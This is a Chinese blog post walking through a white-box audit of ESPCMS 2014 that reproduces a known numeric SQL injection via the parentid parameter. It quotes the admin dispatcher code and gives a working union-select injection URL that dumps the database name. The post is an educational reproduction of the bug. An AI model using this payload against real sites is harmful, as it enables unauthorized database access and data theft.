白盒测试1
程序员文章站
2022-05-23 15:17:41
...
方法:敏感函数回溯参数
环境:php 5.多加apache及espcms 2014,用php7的exp无效,并且php7搭建这个cms数据库环境时都有很大毛病的
工具:seay代码审计系统
很久以前别人挖到的,站在巨人的肩膀上复现一下
————————————————
将文件拖进s~系统,审计出一大推可能是漏洞的代码列表
挑了如图所示的一个,进行定位
可以清楚看见sql语句和parentid变量的获得过程
定位accept函数
这是一个获取 给g p c的函数,我们传进的变量为parentid 和 R,代表在 p g中都可以获取parentid参数,最后经过了一个包装过的过滤函数,但是前面的sql注入语句完全是一个数字型,所以这个过滤函数基本上没啥用 ,去看oncitylist()所在的import类,并对这个类进行下搜索,发现在/adminsoft/index.php中有这段$control=new import()实例化代码,
$archive = indexget('archive', 'R');
$archive = empty($archive) ? 'adminuser' : $archive;
$action = indexget('action', 'R');
$action = empty($action) ? 'login' : $action;
if (in_array($archive, array('acmessagemain', 'adminuser', 'advertmain', 'adverttypemain', 'albummain', 'article', 'bbsmain', 'bbstypemain', 'callmain',
'citylist', 'connected', 'createmain', 'createseomain', 'enquirymain', 'filemain', 'filemanage', 'formmain', 'formmessmain', 'language', 'languagepack',
'lib_menu', 'mailinvite', 'mailsendmain', 'mailtemplatemain', 'management', 'memattmanage', 'membermain', 'memclassmanage', 'modelmanage', 'ordermain',
'payplug', 'payreceipt', 'powergroup', 'printtemplatemain', 'recommanage', 'seomanage', 'shipplug', 'shipreceipt', 'sitemain', 'skinmain', 'sqlmanage', 'smstemplatemain',
'subjectmanage', 'templatemain', 'typemanage', 'mobliemain', 'smsmain'))) {
if (!file_exists(admin_ROOT . adminfile . "/control/$archive.php")) {
exit('Access error!');
}
include admin_ROOT . adminfile . "/control/$archive.php";
$control = new important();
$action = 'on' . $action;
if (method_exists($control, $action)) {
$control->$action();
} else {
exit('错误');
}
就是拼接下on与citylist拼接下达到调用oncitylist函数的作用,而且因为后面的那个if语句action也得构造citylist
http://127.0.0.1/adminsoft/index.php?archive=citylist&action=citylist&parentid=-1%20union%20select%201,2,database(),4,5%20--+
我试过把action变量改为别的,那个if语句就会通过不了,然后报错
sql语句执行了
上一篇: 白盒测试习题详解
下一篇: 白盒测试方法 + 实战